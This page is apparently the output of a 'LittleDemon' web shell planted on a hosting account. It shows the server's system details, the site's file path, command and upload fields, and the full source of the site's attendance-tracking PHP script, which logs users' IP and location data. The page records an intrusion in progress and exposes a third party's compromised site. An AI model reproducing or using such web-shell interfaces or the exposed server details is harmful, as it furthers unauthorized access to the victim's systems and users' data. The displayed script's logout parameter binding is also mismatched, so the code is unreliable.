LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/attendance.php

<?php
require_once "db.php";
date_default_timezone_set('Asia/Kolkata');

function isWithinRadius($latFrom, $lonFrom, $latTo, $lonTo, $radius = 100) {
    // Convert degrees to radians
    $earthRadius = 6371000; // Earth radius in meters
    $latFromRad = deg2rad($latFrom);
    $lonFromRad = deg2rad($lonFrom);
    $latToRad = deg2rad($latTo);
    $lonToRad = deg2rad($lonTo);

    // Haversine formula
    $latDelta = $latToRad - $latFromRad;
    $lonDelta = $lonToRad - $lonFromRad;

    $a = sin($latDelta / 2) * sin($latDelta / 2) +
         cos($latFromRad) * cos($latToRad) *
         sin($lonDelta / 2) * sin($lonDelta / 2);
    $c = 2 * atan2(sqrt($a), sqrt(1 - $a));

    $distance = $earthRadius * $c;

    return $distance <= $radius;
}



try {
    $data = json_decode(file_get_contents("php://input"), true);

    if (!isset($_SESSION['user_id']) || !$data || !isset($data['task'])) {
        http_response_code(400);
        echo json_encode(["error" => "Unauthorized or invalid input"]);
        exit;
    }

    $user_id = $_SESSION['user_id'];
    $task = $data['task'];
    $now = date("Y-m-d H:i:s"); // This will now be in Asia/Kolkata timezone
    $date = date("Y-m-d");

    $fields = [
        'ip_address'     => $data['ip'] ?? '',
        'city'           => $data['city'] ?? '',
        'region'         => $data['region'] ?? '',
        'country'        => $data['country'] ?? '',
        'loc'            => $data['loc'] ?? '',
        'latitude'       => $data['latitude'] ?? 0.0,
        'longitude'      => $data['longitude'] ?? 0.0,
        'org'            => $data['org'] ?? '',
        'postal'         => $data['postal'] ?? '',
        'timezone'       => $data['timezone'] ?? ''
    ];
        // if($data['latitude'] && $data['longitude']){
        //     // Example:
        //     $centerLat = 18.5647877;
        //     $centerLon = 73.7801532;
        //     $userLat = $data['latitude'];
        //     $userLon = $data['longitude'];
            
        //     if (!isWithinRadius($centerLat, $centerLon, $userLat, $userLon, 100)) {
        //         http_response_code(402);
        //         echo json_encode(["error" => "Your Not In Office Premises", $fields]);
        //         exit;
        //     }
        // }
            // Check if today's attendance exists
            $stmt = $conn->prepare("SELECT id FROM user_attendance WHERE user_id = ? AND DATE(login_time) = ?");
            if (!$stmt) {
                throw new Exception("Prepare failed: " . $conn->error);
            }
            $stmt->bind_param("is", $user_id, $date);
            $stmt->execute();
            $result = $stmt->get_result();
            $row = $result->fetch_assoc();
        
            if ($task === 'login') {
                if (!$row) {
                    $stmt = $conn->prepare("INSERT INTO user_attendance (
                        user_id, login_time, login_ip_address, login_city, login_region, login_country, login_loc,
                        login_latitude, login_longitude, login_org, login_postal, login_timezone
                    ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
                    if (!$stmt) {
                        throw new Exception("Prepare failed: " . $conn->error);
                    }
                    $stmt->bind_param(
                        "issssssddsss",
                        $user_id,
                        $now,
                        $fields['ip_address'],
                        $fields['city'],
                        $fields['region'],
                        $fields['country'],
                        $fields['loc'],
                        $fields['latitude'],
                        $fields['longitude'],
                        $fields['org'],
                        $fields['postal'],
                        $fields['timezone']
                    );
                    $stmt->execute();
                }
            } elseif ($task === 'logout') {
                if ($row) {
                    $stmt = $conn->prepare("UPDATE user_attendance SET
                        logout_time = ?,
                        logout_ip_address = ?, logout_city = ?, logout_region = ?, logout_country = ?, logout_loc = ?,
                        logout_latitude = ?, logout_longitude = ?, logout_org = ?, logout_postal = ?, logout_timezone = ?
                        WHERE id = ?");
                    if (!$stmt) {
                        throw new Exception("Prepare failed: " . $conn->error);
                    }
                    $stmt->bind_param(
                        "sssssssddssi",
                        $now,
                        $fields['ip_address'],
                        $fields['city'],
                        $fields['region'],
                        $fields['country'],
                        $fields['loc'],
                        $fields['latitude'],
                        $fields['longitude'],
                        $fields['org'],
                        $fields['postal'],
                        $fields['timezone'],
                        $row['id']
                    );
                    $stmt->execute();
                }
            } else {
                http_response_code(400);
                echo json_encode(["error" => "Invalid task value"]);
                exit;
            }
            $_SESSION['login'] = $fields['timezone'];
            echo json_encode(["status" => "success"]);

} catch (Exception $e) {
    http_response_code(500);
    echo json_encode(["error" => "Server error", "details" => $e->getMessage()]);
}

LittleDemon - FACEBOOK
[ KELUAR ]